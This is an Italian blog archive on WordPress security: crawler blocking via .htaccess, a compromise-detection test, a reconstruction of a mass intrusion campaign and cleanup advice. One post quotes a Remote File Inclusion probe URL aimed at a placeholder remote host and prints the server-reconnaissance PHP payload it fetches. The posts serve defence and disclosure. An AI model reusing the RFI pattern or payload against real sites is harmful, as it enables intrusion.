Archivio per la categoria Wordpress

Di classifiche e rantoli, parte II

Come promesso, ho iniziato ad indagare su come riprendere il controllo di come vengano usati i contenuti offerti in questo sito da innumerevoli “servizi di pubblica utilità”. Ho messo le virgolette perché ho la sensazione, ed alcuni fatti me ne danno ragione, che della pubblica utilità non gliene importi granché.

Il primo passo è stato di installare un sistema di rilevazione delle visite, che mi permette di scoprire chi, da dove e come accede al sito e soprattutto ai feed.

Ho appurato che molti visitatori automatizzati (crawler, robot e spider) non rispettano il contenuto del file robots.txt che, secondo le regole che dovrebbero rendere più civile la convivenza su Internet, dovrebbe indicare a questi visitatori automatizzati dove possono ficcare il naso e dove non possono. Certo, nessuno ne fa un obbligo, si tratta di autoregolarsi. Ma, visto appunto che le regole servono a chi non sa regolarsi, quando il totale disprezzo della proprietà altrui è evidente, si inizia a prendere provvedimenti forti.

Altro dato che per quanto mi riguarda è atteso, ma dovrebbe far saltare sulla sedia chi ignora le più elementari regole per la sicurezza del proprio sito/blog, è rappresentato dal numero di spider in cerca di rogne. In meno di venti ore di raccolta dei dati, su 495 crawler/spider che hanno visitato il sito, 192 contenevano nello User Agent la stringa “libwww-perl”. E il sistema colleziona solo chi accede a pagine “regolari” del sito, non cataloga ad esempio chi tenta di accedere alle pagine “private” (tipo quella di modifica dei temi, o quella di amministrazione, o a quella dei plugin), per cui il numero di accessi preludio ad una intrusione è molto più alto.

Per chi non ne fosse al corrente, gran parte dei mentecatti in cerca di siti da violare usa script fatti in Perl, un linguaggio nato con tutt’altro scopo. Quando uno script Perl accede ad un server web si identifica con quella stringa particolare, appunto “libwww-perl”.

I tentativi fatti da questi script vanno dalla semplice lettura del feed, al tentativo di leggere il file /etc/passwd, ad innumerevoli tentativi differenti di RFI. Ne ho già parlato, ed i principali bersagli sono plugin affetti da problemi di sicurezza.

Il passo successivo, sperimentale, è stato di aggiungere qualche riga al mio file .htaccess, queste per la precisione:


RewriteEngine  on
RewriteCond %{HTTP_USER_AGENT}   ^NomeSpider.*
RewriteRule .+   -   [F]

con il seguente effetto: se il sito viene visitato da qualcosa il cui user agent ha un identificativo che inizia con la stringa NomeSpider, il visitatore ottiene in risposta un 403-Forbidden al posto di qualsiasi pagina contenuta nel sito. In questo modo si chiude in faccia la porta in modo selettivo agli spider “maleducati”.

Naturalmente è una misura di poco valore, per il semplice fatto che un mentecatto competente può in pochi secondi cambiare la stringa identificativa del proprio spider, rendendo inefficace la misura, strategia che ho visto con i miei occhi in molti script “pronti per l’uso” reperiti in Rete per fare birbonate: in qualcuno lo user agent è una stringa casuale, in altri è scelto a caso fra stringhe di browser normali, quali Firefox, Konqueror, Internet Explorer, Safari e via così.

Lo stesso WordPress Autotest opera in questa maniera, per poter attirare in trappola il codice malevolo iniettato nei blog colpiti: si presenta con differenti user agent allo scopo di costringere il malware a rivelarsi.

In ogni caso la regola può essere fatta anche con l’indirizzo IP dello spider, e questo può essere molto più efficace: al visitatore non basta cambiare il proprio user agent, deve proprio cambiare punto di accesso alla Rete, cosa non proprio banale. Ma, sempre parlando di “libwww-perl”, gli indirizzi IP da cui provengono le scansioni sono quasi tutti di fornitori di accesso Internet a privati, tradotto: sono computer di “guidatori sopra la media” compromessi ed usati dal nostro amico mentecatto, o da un suo affine, sempre mentecatto. Quindi anche l’inserimento di un indirizzo IP è una misura poco efficace, se vogliamo contrastare un possibile attacco mirato a violare il sito. Rimane efficace per “educare” crawler e spider poco rispettosi, appartenenti a società sempre a caccia di informazioni di qualsiasi genere da rivendere.

Riguardo alle stranezze di una certa classifica, non sono l’unico ad avere delle perplessità.

Due parole ancora per spiegare meglio il mio punto di vista. Sulle classifiche ho cambiato idea, non ho nessun problema a dirlo. All’inizio pensavo che fossero uno strumento utile a far conoscere il proprio sito e soprattutto a raggiungere meglio i possibili interessati agli argomenti che tratto. A distanza di molto tempo (informaticamente parlando), il risultato è non solo deludente, ma è evidente il vantaggio di chi conosce i meccanismi della classifica (quale che sia) e di come si faccia di tutto per scalare posizioni usando tutti i trucchi possibili ed immaginabili per “dopare” la propria posizione. La responsabilità non è della classifica e di chi la gestisce, ma se di un responsabile avete bisogno, guardatevi allo specchio e chiedetevi se non sia ancora una volta il solito vizietto di voler fare i furbetti a tutti i costi per primeggiare con poca fatica.

Ritengo tutto ciò, nel mio specifico caso, lesivo della mia immagine e del mio lavoro. Per cui mi opporrò in ogni maniera ad essere incluso in classifiche che vengono abusate dagli stessi membri, al solo scopo di rimediare qualche click in più, in cambio di nulla.

Riferimenti

Tags: , , ,

WordPress Autotest: v1.11 with english translation, too

If you suspect an intrusion in your WordPress blog, or spam link injection, or you feel that your blog is 0wned, you can do this check.

Instructions and results are in English language. Some documentation about WordPress spam injection and redirection is here.

Tags: , ,

Owned WordPress: aggiornare a 2.6 o 2.6.1 non risolve

Proseguendo nella mia solitaria indagine sulle molteplici intrusioni in blog basati su WordPress non aggiornati, ho esaminato, come ho già fatto qualche tempo addietro, gli effetti di un aggiornamento prima a WordPress 2.6, poi alla versione 2.6.1, fresca di forgia.

Passando alla versione 2.6 l’unico indizio che ci sia qualcosa di poco pulito è il contatore degli amministratori nell’elenco degli utenti.

Come potete notare nella figura sopra, c’è un solo utente, amministratore, visualizzato nell’elenco, ma il conteggio ne riporta 2.

Disabilitando Javascript e ricaricando la pagina si svela l’arcano: appare immediatamente il secondo amministratore dal nome WordPress, nella colonna “Nome” mostra solo tre puntini. Esaminando il codice HTML della pagina si scopre lo script di “cloaking” dell’amministratore abusivo, di cui avevo già parlato.

Nessun altro indizio evidente mostra che il blog è compromesso ed in mano ad altri. L’unica possibilità è data da una accurata analisi di tutto quanto costituisce il blog stesso, database compreso, naturalmente sapendo dove e cosa cercare.

Aggiornando alla versione 2.6.1 le cose cambiano, ma non di molto. Solo la prima volta che si entra nella gestione dei plugin si ottiene il messaggio mostrato qui sotto:

Per me e per chi ha dimestichezza con WordPress questi messaggi sono il chiaro indice che qualcosa non va, ma per la maggior parte dei tenutari di blog probabilmente non hanno molto significato. Il problema è che i messaggi appaiono solo la prima volta che si entra nel pannello di gestione plugin del blog dopo l’aggiornamento, per non comparire mai più.

Ai fini dello sradicamento dell’intrusione non si ottiene la pulizia completa. Occorre ancora intervenire a mano, e non è sufficiente cancellare l’amministratore abusivo ed i plugin fasulli. Nel blog c’è sicuramente ancora roba nascosta, file modificati, residui nel database. L’incursore ha potuto leggere le credenziali di accesso al database stesso, in chiaro nel file wp-config.php, ed ha molte frecce al suo arco:

  • i file camuffati, inseriti ovunque, potrebbero essere shell remote, capaci di modificare a piacere i file dell’installazione, aggiungerne altri, cancellarli, ecc.
  • i file del tema e dei plugin potrebbero essere stati modificati per eseguire pezzi di codice PHP a comando
  • I falsi plugin sono ancora presenti, se il webmaster non li ha cancellati
  • nel database c’è ancora una copia di riserva della remote shell, e la cache dei link di spam

I primi tre punti sono porte aperte alla “reinfezione” del blog, l’ultimo è semplicemente fatica in meno per l’incursore.

Ho trovato almeno tre blog in rete (sì i proprietari sono stati avvertiti) aggiornati alla versione 2.6 che non mostravano più il comportamento di forgiare la pagina a seconda del visitatore (utente normale o GoogleBot), ma avevano centinaia di link spam nascosti in fondo ai post nella home page. Ipotizzo, cosa da verificare ma verosimile, che il proprietario abbia aggiornato ignorando di essere vittima dell’intrusione, ed i file corrotti dall’intrusione siano stati sovrascritti, cosa che ha fatto perdere al mentecatto la possibilità di inserire link spam a piacere senza intervenire direttamente sul blog. Naturalmente, il nostro amico non si è perso d’animo: ha immediatamente approfittato del proprio account amministratore abusivo ed ha modificato i post in prima pagina inserendo i link spam all’interno di un blocco HTML con uno stile utile a nasconderli ai visitatori umani (ad esempio con style="display:none", oppure con style="overflow:hidden;width:0;height:0"). Oppure, anche dopo aver perso anche l’amministratore abusivo, scoperto e cancellato dal webmaster più attento, potrebbe essere in grado di accedere il database MySQL dall’esterno e modificare a mano i post per accodare i link spam. Lo può fare perché ha potuto leggere le credenziali di accesso al database, contenute in wp-config.php. Non dovrebbe essere possibile farlo dall’esterno, i servizi di hosting non dovrebbero permettere l’accesso al server database a chiunque. Se però nel blog vi sono ancora i file modificati dall’incursore per eseguire codice PHP a comando, come mostrato qui, per il mentecatto è un gioco da ragazzi inserire un paio di righe di PHP da eseguire al volo per modificare il record nel database relativo al post ed aggiungere i link spam.

Il risultato è che, pur dopo tutti gli aggiornamenti, se avevamo il blog infetto e non abbiamo usato le maniere forti, saremo daccapo in poco tempo. Nel frattempo, il mentecatto non sta con le mani in mano e molto probabilmente sta correndo ai ripari: a breve l’aggiornamento a WordPress 2.6.x potrebbe non essere più efficace per scoprire l’intrusione.

L’unica cosa che, ironia della sorte, potrebbe porre fine all’abuso del nostro blog da parte del mentecatto è il crescente numero di servizi di indicizzazione e motori di ricerca che adottano politiche di esclusione del siti compromessi. Quando il nostro sito venisse escluso da tutti (Google, Technorati, FeedBurner, ecc.), il mentecatto non saprebbe più cosa farsene, e lo lascerebbe al suo destino. Certo, a quel punto il nostro blog sarebbe un rottame: invisibile da Internet, non più indicizzato dai principali motori di ricerca e aggregatori, saremmo come la voce che grida nel deserto. O peggio potrebbe essere venduto a qualche organizzazione dedita al phishing, a cui non importa il posizionamento del sito nei motori di ricerca.

Uscire da quello stato di limbo non è molto facile, e molto tempo occorre per recuperare credibilità agli occhi degli innumerevoli siti di indicizzazione. E’ meglio intervenire prima possibile.

Tags: , ,

Owned WordPress: ora tocca ai plugin

Ecco uno dei prossimi vettori di infezione dei blog basati su WordPress, dopo le versioni non aggiornate e i temi troianizzati. E non c’è di che stare allegri, proprio no.

L’antefatto

Il test per la verifica dei blog basati su WordPress ha un controllo per verificare ed eventualmente riportare tentativi di hacking. Non è che ci sia molto da bucare, ma visto che non sono onnisciente, meglio un controllo in più che uno in meno, tanto più che costa veramente poco in termini di risorse di elaborazione.

In breve, viene sia controllato l’URL inserito nella casella di testo, sia l’URL completo con cui viene invocato il test stesso, infine viene controllato se vi siano dati extra nella richiesta POST. Proprio il controllo dell’URL di invocazione del test sta segnalando da qualche settimana uno strano schema, ripetuto parecchie volte al giorno.

L’analisi

Il test viene chiamato con dati aggiuntivi nell’URL, associati ad un nome specifico, sempre quello. Lo user agent è sempre libwww-perl/5.805 (può cambiare la versione). L’URL ha questo schema:

http://server/file.php?myPath=http://altrosito/directory/file.txt??

Lo schema sembra proprio quello di un tentativo di RFI (Remote File Inclusion). Prelevando a mano il file che si tenta di includere si scopre questo:


<?php
function ConvertBytes($number) {
$len = strlen($number);
if($len < 4) {
return sprintf("%d b", $number); }
if($len >= 4 && $len <=6) {
return sprintf("%0.2f Kb", $number/1024); }
if($len >= 7 && $len <=9) {
return sprintf("%0.2f Mb", $number/1024/1024); }
return sprintf("%0.2f Gb", $number/1024/1024/1024); }

echo "Osirys<br>";
$un = @php_uname();
$id1 = system(id);
$pwd1 = @getcwd();
$free1= diskfreespace($pwd1);
$free = ConvertBytes(diskfreespace($pwd1));
if (!$free) {$free = 0;}
$all1= disk_total_space($pwd1);
$all = ConvertBytes(disk_total_space($pwd1));
if (!$all) {$all = 0;}
$used = ConvertBytes($all1-$free1);
$os = @PHP_OS;

echo "0sirys was here ..<br>";
echo "uname -a: $un<br>";
echo "os: $os<br>";
echo "id: $id1<br>";
echo "free: $free<br>";
echo "used: $used<br>";
echo "total: $all<br>";
exit;

Questo codice PHP è innocuo: si limita a raccogliere informazioni sul server dove viene eseguito e riportarle in una semplice pagina HTML. Le informazioni che raccoglie sono: nome e versione del sistema operativo, nome del server, user con cui viene eseguito lo script PHP (lo stesso del web server), spazio disco. Qualcosa del genere:


0sirys was here ..
uname -a: Linux hawking 2.6.25.11-60.fc8 #1 SMP Mon Jul 21 02:06:29 EDT 2008 i686
os: Linux
id: uid=500(mario) gid=500(mario) gruppi=500(mario)
free: 148.28 Gb
used: 77.31 Gb
total: 225.59 Gb

i dati sono quelli che vengono fuori eseguendo lo script sul mio computer con il comando php -f script.php, usando l’interprete PHP-cli.

La vulnerabilità cercata è nel plugin MyGallery versione 1.2.x o precedenti, nello specifico questa documentata da Secunia vecchia di oltre un anno. La vulnerabilità è classificata come altamente critica, permettendo l’inclusione e l’esecuzione di file PHP presi ovunque semplicemente inserendoli nell’URL come viene fatto appunto nelle richieste che sto ricevendo e che ho mostrato sopra. Se viene verificato che il web server del sito esegue il codice iniettato, può eseguire qualsiasi codice PHP gli venga propinato.

Ho peraltro rilevato una stranezza: non viene selezionato un file specifico per il tentativo, ma vengono “provati” tutti quelli raggiungibili da un qualche link esplicito nel blog. Le cose sono due: o i bot attivi sono “stupidi”, o c’è qualcosa che non sappiamo. Nei principali motori di ricerca non vi è traccia di problemi relativi ad una inclusione tramite variabili myPath, salvo quello appena riportato con il plugin MyGallery.

Rischi e contromisure

Il rischio in questo momento è estremo: ci sono almeno tre differenti bot che cercano attivamente in Rete blog con il plugin installato nella versione vulnerabile, quindi avere il plugin non aggiornato significa trovarsi a breve col blog compromesso. In che modo e per fare cosa non è difficile da immaginare.

L’unica contromisura realmente efficace è aggiornare il plugin, o passare ad altro se l’aggiornamento non è possibile.

Conclusioni

Non dovrebbero essere molti i siti che fanno uso di questo plugin. Se il vostro blog ne fa uso, è proprio il caso di controllare se avete la versione vulnerabile e cambiare immediatamente.

Tags: , ,

WordPress autotest: versione 1.10 e considerazioni.

Agosto, tempo di pensieri poco impegnativi e riposo da tutto.

Niente riposo invece per il nostro amico mentecatto. Anzi, si vedono le prime avvisaglie di una modifica allo schema di spamming, probabilmente per contrastare alcune misure prese dai maggiori motori di ricerca (grazie alle quali il rank di questo sito è collassato da 5 a 3, ma ormai ho smesso di farmi domande). Naturalmente, il numero di blog italiani compromessi continua a crescere, più velocemente di quanti ne vengano ripuliti, a cui vanno aggiunti quelli infetti da mesi e quelli ripuliti male, naturalmente di nuovo violati. La considerazione che ne emerge è che il mentecatto, informaticamente parlando, si dimostra più competente della media dei webmaster. Dovrebbe essere ormai evidente, fin qui, ma puntualizzare non guasta.

Alcuni dei test stanno perdendo di efficacia. Il numero di link emessi dal codice malevolo alla visita di uno spider è passato da 100 a meno di una quarantina, le parole utilizzate cambiano in continuazione, citando medicinali sempre nuovi. In effetti sto imparando nomi di prodotti farmaceutici mai sentiti prima. Stilarne l’elenco è sempre più difficile, data l’estensione del mercato. In questo modo due degli indicatori nel test, quelli con le parole proibite, spesso segnano giallo o addirittura verde. Le parole rilevate sono troppo poche.

Non basta: diventa più difficile trovare i blog compromessi tramite i motori di ricerca, non so che parole cercare. Sarà sempre più difficile scovarne, di blog, e di conseguenza sempre più difficile avvertire le vittime.

Di contro, il mentecatto è tutt’altro che in ferie. Nelle due ultime settimane ho trovato almeno quindici blog italiani che prima non erano presenti fra quelli compromessi, e che ora mostrano i segni della nuova strategia (pochi link e poche parole chiave), quindi a tutti gli effetti sono “freschi di violazione”. Sui blog compromessi da tempo, ed i cui proprietari sono stati avvertiti, anche da mesi, in media ogni pochi giorni cambiano i link e le parole chiave, altro segno che il mentecatto è ancora nella stanza dei bottoni.

Sul fronte temi infetti, oramai sono definitivamente convinto che il danno cerebrale sia irreversibile: proprio qualche giorno addietro ho notato nei log prodotti dal test uno dei test richiesti al controllo. Il link era alla demo di un tema WordPress, offerto da uno dei siti noti per offrire temi troianizzati. Ovviamente il test era negativo NON ESSENDO UN TEST PER TEMI DI WORDPRESS, ma il tema provato era naturalmente farcito con il solito codice PHP per inserire link pubblicitari, nascosto ed offuscato. Mi arrendo. Potrei mettere una domanda obbligatoria nel test, tipo “Hai capito che questo non è un test per temi infetti?”, ma scommetto che non servirebbe. Magari in una prossima versione del test la metto, giusto per farmi due risate.

Ah, a proposito: c’è un blog infetto da mesi nei primi cento di una nota classifica di blog italiani, da me avvertito alla fine di maggio.

Il test è al solito posto. Fatelo, e raccomandatelo ai vostri amici.

Trust no one

Tags: , ,

Owned WordPress autotest: versione 1.9

Come ho più volte detto, il nostro amico mentecatto là fuori non dorme certo. Nuovi blog si aggiungono ogni giorno alle centinaia già sotto il suo controllo.

Cambiano le parole dello spam iniettato, e cambia anche sottilmente la struttura dello spam, per cui un aggiornamento del controllo è doveroso. Al momento i prodotti più pubblicizzati, oltre ai soliti medicinali di vario genere, sono: suonerie per cellulari, finanziamenti e mutui a basso costo, kit per sbiancare i denti e test per droghe. Gli ultimi due prodotti sono freschi freschi, trovati in tre del sette blog compromessi nelle ultime due settimane, ed in vari blog compromessi da tempo, segno che il mentecatto è più attivo che mai. Dormite sonni tranquilli, voi col blog bucato, il mentecatto veglia sui vostri blog. Chissà che non li gestisca anche meglio :-|

Ho dovuto introdurre un semplice meccanismo di blacklist, perché a questo punto le cose sono due: o alcuni visitatori non sanno leggere o non leggono proprio. Non so quale delle due è peggio.

Il test non funziona NON SERVE su Splinder, Live, Blogspot, WordPress.com e simili, sono immuni da questa specifica pestilenza, c’è scritto nella pagina del test, ma continuano ad essere eseguiti controlli su questi domini. Quindi da oggi niente più test, c’è la blacklist.

Ma guarda tu a cosa tocca arrivare…

La pagina con il WordPress autotest è al solito posto.

Tags: ,

Owned WordPress blog: ricapitolando

Riassumo qui tutto quello che ho scoperto sull’attacco massivo in atto contro i blog basati su WordPress.

La situazione

WordPress in versione precedente alla 2.5.x è vulnerabile ad una vasta gamma di attacchi che non sono contrastabili se non in un unico modo: tenere aggiornato WordPress. Non esistono altri metodi, non per i comuni mortali.

L’attacco è generalizzato, nessuno è al sicuro. Se il blog è presente nei motori di ricerca (Google, MSN, Altavista, Yahoo, ecc.) è solo questione di tempo. La riuscita dell’attacco è indipendente dal tema utilizzato, riesce anche con il tema di default. Quello dei temi infetti è un altro problema.

Se il blog viene compromesso, un aggiornamento non risolve, e non risolve neanche una sommaria ripulita al database: l’intrusione è profonda e su molti fronti. Se ci si limita ad un aggiornamento ed a una sommaria pulizia del database, in breve il blog sarà di nuovo compromesso. Ci sono blog con WordPress 2.5.1 con lo stesso problema e ci sono stati casi di blog violati, i cui proprietari sono stati avvertiti da me, puliti sommariamente e ri-violati nel giro di mezzora. Quindi la pulizia deve essere totale, come spiegato qui.

La sequenza di intrusione

Questa è verosimilmente la sequenza che porta alla violazione del blog. E’ ricostruita sulla base degli esemplari di codice e database forniti da persone coraggiose che non finirò mai di ringraziare. E che dovreste ringraziare tutti.

Selezione del blog bersaglio

L’attaccante cerca i blog basati su WordPress con semplicissime query ai principali motori di ricerca. Usa strumenti automatizzati, che gli garantiscono di riuscire a trovare un gran numero di possibili bersagli. Attraverso una forma di fingerprinting determina la versione di WordPress installata nel bersaglio. A questo proposito è del tutto inutile nascondere la versione che viene inserita nel tag apposito:


<meta name="generator" content="WordPress 2.5.1" />

l’attaccante usa un algoritmo molto più sofisticato per determinare la versione, ed ignora del tutto, o quasi, la stringa nell’header della pagina HTML emessa da WordPress. Per dare un’idea, viene controllata l’esistenza di alcuni file e directory caratteristiche di certe versioni, come pure il formato dei feed.

Creazione di un amministratore abusivo

Attraverso un attacco di tipo SQL injection, sfruttando le suddette vulnerabilità di WordPress, viene creato un amministratore “abusivo” del blog. Il tipo di attacco è calibrato sulla versione di WordPress rilevata, quindi ce n’è per tutti. L’amministratore creato con questa tecnica è invisibile dal pannello di amministrazione utenti (dettagli qui), a meno di usare trucchi o di esaminare direttamente il database. L’utente abusivo si chiama di solito “WordPress” (la ‘W’ e la ‘P’ maiuscole), ma non è detto che rimanga così.

Iniezione dei primi file

Una volta ottenuto l’accesso amministratore, viene esaminato lo spazio di hosting, per capire se e quali file e directory permettono la scrittura e la modifica dei file, se è permesso il download e l’esecuzione diretta di script PHP da altri siti e varie altre impostazioni. Se la directory dei temi è scrivibile, viene inserito un file PHP con un nome camuffato o insospettabile in uno dei temi installati, di solito quello “Classic”, che nessuno va a guardare. Tipicamente ha il nome di un altro file presente fra quelli del tema, con aggiunto in coda al nome la stringa “_old”, e non è detto che l’estensione sia “.php”. Ho trovato falsi file ZIP, false immagini PNG e JPG. Oppure è un file PHP con un nome verosimile: functions.php, locals.php e simili. Stessa cosa può succedere con la directory dei plugin, dove in qualche caso ho trovato dei falsi file ZIP con lo stesso nome di uno dei plugin installati, in realtà file PHP.
Se nessuna directory o file è scrivibile, tranne quella degli upload o quella dei backup, il file viene iniettato in quelle posizioni.
Se tutti i file sono modificabili dagli script PHP stessi, come succede in alcuni hosting, vengono modificati alcuni file dell’installazione di WordPress, iniettando poche righe di codice, anche una sola, di solito offuscata o ricodificata in Base64 o simile. Questo semplifica parecchio l’attacco.
In qualche caso, se la configurazione del server lo permette, il file è iniettato nella directory /tmp del server, con il nome che scimmiotta i file di sessione PHP: sess_11a2d23b2......, la stringa esadecimale nel nome è praticamente casuale.
In totale i file iniettati sono almeno due: il plugin camuffato ed una sorta di shell remota che permette di modificare a piacere file ed eseguire comandi impartiti da remoto.

Iniezione di codice e dati nel database

Uno dei file appena iniettati viene inserito come plugin agendo direttamente sulla corrispondente opzione nel database di WordPress. Naturalmente anche questo plugin “abusivo” è invisibile dal pannello di gestione dei plugin. Il nome può variare, come detto sopra, come pure la posizione. La funzione del plugin è molteplice: iniettare i link di spam al momento della visita dello spider di uno dei motori di ricerca noti, controllare che il codice iniettato sia presente ed attivo, altrimenti operare automaticamente l’iniezione del codice negli script PHP originali. Ecco uno dei motivi per cui la semplice reinstallazione, o l’aggiornamento, e la sommaria pulizia del database non funziona: anche cancellando l’utente abusivo e togliendo i link di spam, il plugin rimane attivo, per via della posizione in cui è nascosto il file, ossia nel tema, cosa che si tende a preservare, negli upload o nella directory /tmp a cui non si pensa proprio. Alla prima occasione il plugin rimette tutto a posto. Il blog, anche se aggiornato all’ultima versione di WordPress, è già compromesso.
Altro gruppo di dati che viene inserito è il blocco dei link spam. E’ nascosto nel database come opzione fasulla di WordPress, oppure nella cache dei feed letti dai vari blog di sviluppo e news che si vedono nel pannello di amministrazione, ed è una lunga stringa, oltre 16kb, codificata in Base64, preceduta dalla stringa eval(base64_decode(, in qualche caso è anche rovesciata, quindi in testa non ha niente, ma in coda è presente la stringa: (edoced_46aseb(lave. In altri casi, i link non sono nel database, ma nel file wp-includes/class-mail.php, che non appartiene ai file standard dell’installazione. Il file è un array serializzato con apposite funzioni PHP (dettagli qui). Questo però nelle versioni più vecchie. Nelle ultime versioni in mio possesso il file non esiste più e viene usato il database, più complicato ma molto meno visibile.
In un paio di casi ho trovato nel database anche una copia di uno dei file iniettati, ricodificato anch’esso in Base64 per nasconderlo. Probabilmente è una copia di riserva da recuperare ed attivare se il blog viene ripulito dal proprietario.

Modifica del file index.php

Se l’hosting ha una configurazione di sicurezza “debole”, e quindi permette la modifica da parte degli script PHP stessi di tutti i file dell’installazione di WordPress, viene cambiato il file index.php nella directory principale del blog. Nelle versioni da me esaminate c’era una istruzione di include di un file preso da un sito remoto. Questo file è quello che opera il redirect verso i siti di spam, di solito farmacie online. Non sono riuscito a mettere le mani su questo file, il download è probabilmente subordinato ad una qualche forma di protezione, tipo il controllo dello user agent o dell’indirizzo IP di chi chiede l’accesso al file. Vista la complessità e l’organizzazione dell’attacco, non mi stupirebbe che sia fatto un controllo verso un database di siti compromessi prima di consentire l’accesso al file.
Non tutti i siti hanno questa variante. Dipende molto dalla versione e dalla configurazione del server. Ma quelli che la possiedono vengono inclusi nelle liste di link in altri blog violati, per consentire appunto la ridirezione al sito degli spammer.

Altri file modificati

Il codice usato nell’attacco è in diverse varianti, e ci sono segnali che è in continua evoluzione, cambiando ed affinando le tecniche sia di intrusione che di evasione dei controlli. In qualche caso ho trovato del codice inserito come action, nel file wp-includes/default-filters.php. Lo stesso file conteneva una sorta di sistema di esecuzione di codice da remoto (dettagli qui), con tanto di autenticazione tramite cookie.

Come accorgersene

Non è per niente banale. Ci sono decine di blog italiani violati e centinaia in tutto il mondo, e nessuno dei proprietari si accorge di nulla. A differenza delle prime varianti, dove si avevano malfunzionamenti che potevano insospettire, le versioni ora in circolazione sono molto meno banali, e sono molto difficili da trovare “per caso”. Chi ha sviluppato il codice ed il metodo di violazione è partito dall’obbiettivo di nascondere il più possibile al legittimo proprietario ed ai visitatori abituali la presenza della violazione. Presenza che sfugge anche ad un controllo sommario. Se non si opera in modo mirato, non si noterà nulla di strano. Ho attrezzato un test di “infezione”, che esegue alcuni semplici controlli sulla pagina principale del blog, cercando i segni, assolutamente non evidenti, dell’infezione. Segni che potrebbero a breve cambiare e rendere inefficace il controllo stesso. Per questo motivo non posso per ora aprire il codice del controllo o descriverne nei dettagli il funzionamento. Se gli spammer scoprono i punti deboli del mio controllo, e ve ne sono, lo possono rendere inefficace in breve tempo, ed avremmo tutti un’arma in meno. Altra strada per trovare i segni dell’infezione è descritta qui, in un breve documento che ho scritto specificamente per CFItaly. E’ chiaramente un documento diretto a persone dotate di specifiche conoscenze e non una ricetta passo passo, quindi non è assolutamente fruibile per gli utenti “fai-da-te”. Nessuna connotazione dispregiativa in questo, ma se non si possiedono alcune competenze specifiche è del tutto inutile leggere un simile documento.

Come uscirne

Una procedura a grandi linee l’ho descritta qui. Occorre tenere presente che il metodo di attacco cambia continuamente, e chi ha sviluppato il kit del perfetto devastatore di blog non è un cretino qualsiasi: è una persona con competenze molto al di sopra della media degli sviluppatori web, ed in generale anche alla media degli sviluppatori in generale. Sia il test che la procedura per ora dovrebbero funzionare su tutte le varianti, anche sulle più recenti. La procedura è generica, nel senso che segue le linee guida delle normali operazioni da fare quando si ha a che fare con un server violato, ossia parte dal presupposto che niente sul quel server è più affidabile, anche i comandi più semplici. Quindi dovrebbe continuare ad essere utilizzabile anche se lo schema di infezione dovesse cambiare totalmente.
Quello che forse potrebbe smettere di funzionare è il test, a causa di quanto detto sopra. Inoltre c’è il problema che per me è sempre più difficile reperire codice infettato, ossia il contenuto dei blog colpiti, sia come file che come dump del database.
Naturalmente nelle mail che ho inviato a molti c’era la richiesta, ma i più la ignorano. Questo sta togliendo a tutti noi un’arma potentissima: il codice stesso dell’infezione, quindi la possibilità di esaminare come opera e quali sono i suoi punti deboli. Senza quel codice non si può fare nulla.

Temi ed equivoci

Qualche settimana fa il test che ho attrezzato ha avuto un minimo di risonanza in Rete, ma con un problema: è stato scambiato per un test volto ad appurare se il tema è “infetto”. Il problema dei temi troianizzati è in realtà molto differente, e riguarda un altro aspetto della sicurezza di WordPress. Ho scritto un altro articolo in proposito qui. Per ora il tutto si limita ad un modo per iniettare pochi link di spam, una decina al massimo, nel footer del blog, ed in più a proteggere il tema dalle modifiche, inserendo codice offuscato e ricodificato nel file footer.php.
Ma… c’è un grosso ma. Se dovesse succedere che l’attacco in corso esaurisse la sua efficacia, niente ci può garantire che il prossimo veicolo di infezione siano proprio i temi scaricati ed installati senza verificarne la provenienza. Il metodo è semplicissimo da applicare: una volta che abbiamo inserito un file PHP nel nostro sito senza appurare cosa faccia, per chi ha nascosto codice malevolo nel tema è un gioco da ragazzi violare il nostro blog.
Quindi, chiarito che il mio test NON può verificare se il tema installato in un blog è “infetto” o troianizzato, l’unica possibilità è di installare solo i temi di cui possiamo verificarne la provenienza o quelli di cui possiamo controllare agevolmente il codice. La semplice presenza di stringhe codificate in Base64 ed eseguite con una istruzione eval() è un segno molto poco rassicurante. Ma il mio test non può controllare questo. E’ impossibile. E’ vero però che l’infezione rilevata dal mio test è infinitamente più pericolosa.

Conclusione

Come ho già spiegato qualche tempo fa, non è facile fare il webmaster. Le conoscenze necessarie sono tante e in ogni caso potremmo non avere quelle giuste per fronteggiare una situazione come questa che stiamo affrontando.
Se poi ci si mette la faciloneria e la leggerezza nel fare le cose, il rischio di rimanere scottati è molto alto. Per carità, nessuno vuole impedire alle persone di esprimersi liberamente, se però siamo a corto di competenze, e solo perché non è il nostro campo, ci sono validissime alternative a fare il blogger fai-da-te, basta riconoscere con un po’ d’umiltà che forse è al di là delle nostre capacità. Blogspot, Splinder, WordPress.com e tanti altri sono a disposizione per chi vuole concentrarsi su quello che ha da dire, invece di trovarsi invischiato in grossi guai. Questa è la mia opinione. Poi ognuno è libero e consapevole delle sue scelte, quindi niente da dire se si preferisce un hosting e la scelta di fare da sé. Solo che Internet è un luogo ostile.

Per cui occhi aperti e Trust no one.

Tags: , , ,

Owned WordPress: the day after

Alla fine, nonostante tutta la nostra attenzione, è successo: siamo vittima di una intrusione nel nostro blog, basato su WordPress.

I primi sentimenti sono rabbia e vergogna, anche se a pensarci bene c’è poco da vergognarsi: come se fosse colpa nostra se dei mentecatti vanno in giro a sfasciare il lavoro degli altri…

Cosa fare? Ecco una breve guida su come rimettere in piedi il nostro amato blog. Naturalmente non è la guida definitiva, i nostri amici mentecatti riescono a fare cose realmente abominevoli, ma dovremmo essere in grado di recuperare la quasi totalità dei casi.

Come al solito, andiamo con ordine.

Salvare il salvabile

Per prima cosa facciamo un backup completo del database di WordPress. Di seguito facciamo anche una copia completa del contenuto dell’installazione del blog sul server, ossia tutti i file contenuti nello spazio di hosting. Questo perché il nostro amico mentecatto ha certamente piazzato le sue mine in giro per le varie sottodirectory del sito. In molti casi sono file apparentemente innocenti, con il nome che termina in _old, come se fosse un nostro file salvato per una modifica. Non è detto che siano file PHP, possono essere JPG, PNG, JS, qualsiasi cosa, ma dentro contengono tutt’altro, e possono essere inclusi ed eseguiti da altri file PHP, oppure “chiamati” direttamente con l’URL per eseguirli ed attivarli.

Se avete un amico di cui vi fidate, e che sia molto pratico di WordPress, database, PHP e cose di questo tipo, potete fornirgli tutti e due i gruppi di dati: potrà indicarvi come e dove sono piazzate le mine.

